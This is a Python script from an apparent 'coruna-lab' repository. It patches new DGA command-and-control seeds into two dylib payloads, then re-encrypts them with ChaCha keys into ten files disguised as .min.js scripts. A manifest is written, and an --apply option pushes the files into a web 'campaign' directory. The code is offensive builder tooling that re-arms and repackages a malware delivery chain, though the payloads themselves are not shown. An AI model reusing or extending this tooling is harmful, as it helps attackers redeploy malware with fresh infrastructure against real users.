Files
coruna-lab/tools/patch_secondary_packs.py
T
hashbro ea0be57180 init
2026-08-04 05:00:42 +08:00

144 lines
4.4 KiB
Python

#!/usr/bin/env python3
"""Patch DGA seeds in the two unique type-0x01 dylibs and rebuild all 10 secondary .min.js."""
from __future__ import annotations
import argparse
import json
import shutil
from pathlib import Path
from _common import (
GROUP_DYLIBS,
LAB_ROOT,
SECONDARY_KEYS,
SOURCE_ROOT,
ensure_tree_layout,
patch_seeds_in_dylib,
set_tree_root,
sha256_hex,
tree_root,
validate_seed_arg,
)
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
import _common
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Replace Deployment/Reporting seeds in type-0x01 helpers and "
"re-encrypt all 10 secondary .min.js (same filenames, per-stem ChaCha keys)."
)
)
parser.add_argument(
"--deployment-seed",
required=True,
help="new Deployment DGA seed (<=32 ASCII; recommend 32 hex chars)",
)
parser.add_argument(
"--reporting-seed",
required=True,
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
)
parser.add_argument(
"--root",
type=Path,
help="project root containing web/ + sync/ (required with --apply)",
)
parser.add_argument(
"--out",
type=Path,
help="output directory for rebuilt .min.js (default: <root>/out/secondary or lab out/)",
)
parser.add_argument(
"--apply",
action="store_true",
help="also copy outputs into <root>/web/.../",
)
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
if args.root:
set_tree_root(args.root)
ensure_tree_layout(tree_root())
if args.apply:
if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
if tree_root().resolve() == SOURCE_ROOT.resolve():
raise SystemExit("refusing --apply into source/; create a project first")
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
# re-bind after set_tree_root
campaign_dir = _common.CAMPAIGN_DIR
meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta["stems"]
patched: dict[str, bytes] = {}
for group, path in GROUP_DYLIBS.items():
if not path.is_file():
raise SystemExit(f"missing source dylib: {path}")
patched[group] = patch_seeds_in_dylib(
path.read_bytes(),
dep,
rep,
expect_dep=1,
expect_rep=1,
label=path.name,
)
print(
f"group {group}: patched {path.name} "
f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}"
)
out.mkdir(parents=True, exist_ok=True)
(out / "dylibs").mkdir(exist_ok=True)
for group, data in patched.items():
(out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)
built = []
for stem, info in stems.items():
group = info["group"]
key = bytes.fromhex(info["key"])
wire = encrypt_secondary_minjs(patched[group], key)
# sanity: decrypt back
check = decrypt_secondary_minjs(wire, key)
if check != patched[group]:
raise SystemExit(f"round-trip failed for {stem}")
dest = out / f"{stem}.min.js"
dest.write_bytes(wire)
built.append(
{
"stem": stem,
"group": group,
"size": len(wire),
"sha256": sha256_hex(wire),
}
)
print(f" wrote {dest.name} ({len(wire)} bytes)")
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"files": built,
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
}
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
if args.apply:
for item in built:
src = out / f"{item['stem']}.min.js"
dst = campaign_dir / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
print(f"\nDone. Output: {out}")
if not args.apply:
print(f"Re-run with --apply --root <project> to overwrite files under web/")
return 0
if __name__ == "__main__":
raise SystemExit(main())